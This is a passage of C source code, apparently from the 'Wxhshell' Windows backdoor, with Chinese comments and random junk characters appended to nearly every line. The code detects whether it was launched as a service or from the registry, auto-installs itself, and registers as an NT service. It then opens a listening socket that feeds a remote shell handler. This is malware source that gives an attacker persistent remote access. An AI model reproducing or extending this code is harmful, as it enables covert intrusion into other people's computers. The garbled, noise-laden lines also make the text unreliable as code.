DWORD AffinityMask; #K#BNpG|
DWORD BasePriority; f.)z_RyGd
ULONG UniqueProcessId; 5-*hAOThg
ULONG InheritedFromUniqueProcessId; W>#[a %R
} PROCESS_BASIC_INFORMATION; RG&t0%yj}
8FT]B/^&m
PROCNTQSIP NtQueryInformationProcess; C GN=kQ
5}C.^ J`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d?ru8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ck)yY?7
@6lw_E_5
HANDLE hProcess; eR3v=Q
PROCESS_BASIC_INFORMATION pbi; / <C{$Gu
<?Ln`,Duk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kz_gR;"(Z
if(NULL == hInst ) return 0; z`}z7e'>
|E?PQ?P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v*";A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |lCS^bA3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9\'JtZO
%?`O
.W
if (!NtQueryInformationProcess) return 0; &=^YN"=Z
NiH =T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `- HI)-A97
if(!hProcess) return 0; DiOd!8Y
4Eu'_>"a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; axt;}8
"OYD9Q''
CloseHandle(hProcess); |n tWMm:(
G1e_pszD{o
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QtG6v<A
if(hProcess==NULL) return 0; 6lg]5d2CD
(pv}>1
HMODULE hMod; 0fBwy/:
char procName[255]; T:'JA
unsigned long cbNeeded; BF2U$-k4
<'$>&^!^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /bo=,%wJ[
^78N25RU(
CloseHandle(hProcess); gl`J(
*A8*FX>\F
if(strstr(procName,"services")) return 1; // 以服务启动 7?uDh'utt
v!ai_d^
return 0; // 注册表启动 ~' 955fK>
} {D",ao
G8__6v~
// 主模块 @w.DN)GPo
int StartWxhshell(LPSTR lpCmdLine) k*6"!J%A
{ /1{:uh$
SOCKET wsl; Kn1;=k
BOOL val=TRUE; N2}Y8aR~
int port=0; >lqo73gM9
struct sockaddr_in door; z7:*
,X
/0gr?I1wr7
if(wscfg.ws_autoins) Install(); r^msJ|k8[
xFThs,w
port=atoi(lpCmdLine); Z?=o(hkd
eHs38X
if(port<=0) port=wscfg.ws_port; `W+-0F@Y?@
"62g!e}!c
WSADATA data; GT]>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _6h.<BR
#&r}J
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )SZ#%OE*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8LPWT! S
door.sin_family = AF_INET; 6QT&{|q=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5RWqHPw+
door.sin_port = htons(port); '-N5F
%f("3!#H
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xr8fmJtg'
closesocket(wsl); WFk%nO/
return 1; %vZHHBylu
} U*yOe*>
<Rn-B).3bs
if(listen(wsl,2) == INVALID_SOCKET) { gXs9qY%=
closesocket(wsl); JCBX?rM/
return 1; )hQ]>o@i{
} l"`VvW[
Wxhshell(wsl); z3L=K9)
WSACleanup(); M1NdlAAf
/E\04Bs
return 0; pRE^;
4}z
zd$?2y8
} jz=V*p}6
ey9hrRMR
// 以NT服务方式启动 i={4rZOD^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y-1K'VhT
{ V;CRs\aYf
DWORD status = 0; [$d]U.
DWORD specificError = 0xfffffff; W"vkmk
8Ara^Xh}q
serviceStatus.dwServiceType = SERVICE_WIN32; #m<uG5l`
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /!t:MK;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; acUyz2x
serviceStatus.dwWin32ExitCode = 0; c1FSQ
m81
serviceStatus.dwServiceSpecificExitCode = 0; _s0)Dl6K
serviceStatus.dwCheckPoint = 0; ~J~R.r/
serviceStatus.dwWaitHint = 0; b~ *iL!<
)
] Ro
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w;Fy/XQ
if (hServiceStatusHandle==0) return; N>a~k}pPH
"O$WfpKX
status = GetLastError(); ?-3G5yy
if (status!=NO_ERROR) \/SOpC
{ zx:;0Z:S6>
serviceStatus.dwCurrentState = SERVICE_STOPPED; wxJ"{(;
serviceStatus.dwCheckPoint = 0; ft@#[Bkx
serviceStatus.dwWaitHint = 0; vyWx{@
serviceStatus.dwWin32ExitCode = status; bxL'k/Y$
serviceStatus.dwServiceSpecificExitCode = specificError; )Kl@dj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A-L)2.M
return; T1Z*>(M
} WnOYU9;%
:?z@T[-
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4)}>dxv
serviceStatus.dwCheckPoint = 0; GJE+sqMX1
serviceStatus.dwWaitHint = 0; Df2$2VU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !h}Vz
} T 8]*bw
L_:~{jV
// 处理NT服务事件,比如:启动、停止 1\/vS$bi(
VOID WINAPI NTServiceHandler(DWORD fdwControl) p(4B"[ !S
{ ?kV_!2U)'K
switch(fdwControl) ? ][/hL@[
{ }c=Y<Cdh
case SERVICE_CONTROL_STOP: &"A:_5AU
serviceStatus.dwWin32ExitCode = 0; z$g__q-
serviceStatus.dwCurrentState = SERVICE_STOPPED; E;4d lL`*
serviceStatus.dwCheckPoint = 0; 4/3w
*
serviceStatus.dwWaitHint = 0; #^|2PFh5
{ fo>_*6i74
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kDQE*o
} 9|@5eN:N
return; &E!m(|6?+
case SERVICE_CONTROL_PAUSE: xi,fm
serviceStatus.dwCurrentState = SERVICE_PAUSED; (+zU!9}I1
break; 7rGp^
case SERVICE_CONTROL_CONTINUE: l`X?C~JhJ
serviceStatus.dwCurrentState = SERVICE_RUNNING; `s=Z{bw
break; \7$"i5
case SERVICE_CONTROL_INTERROGATE: Y37qjV
break; SjA'<ZX>TM
}; /=#~8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &h6 `hP_
} UIIsgNca
Aq'~'hS`1
// 标准应用程序主函数 wJgGw5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #X{lV]Z
{ *U8,Q]gS
hQL@q7tUr
// 获取操作系统版本 mB
bGj3u;
OsIsNt=GetOsVer(); C4dCaiX
GetModuleFileName(NULL,ExeFile,MAX_PATH); W5Jb5
-J]N
&[
// 从命令行安装 Pum&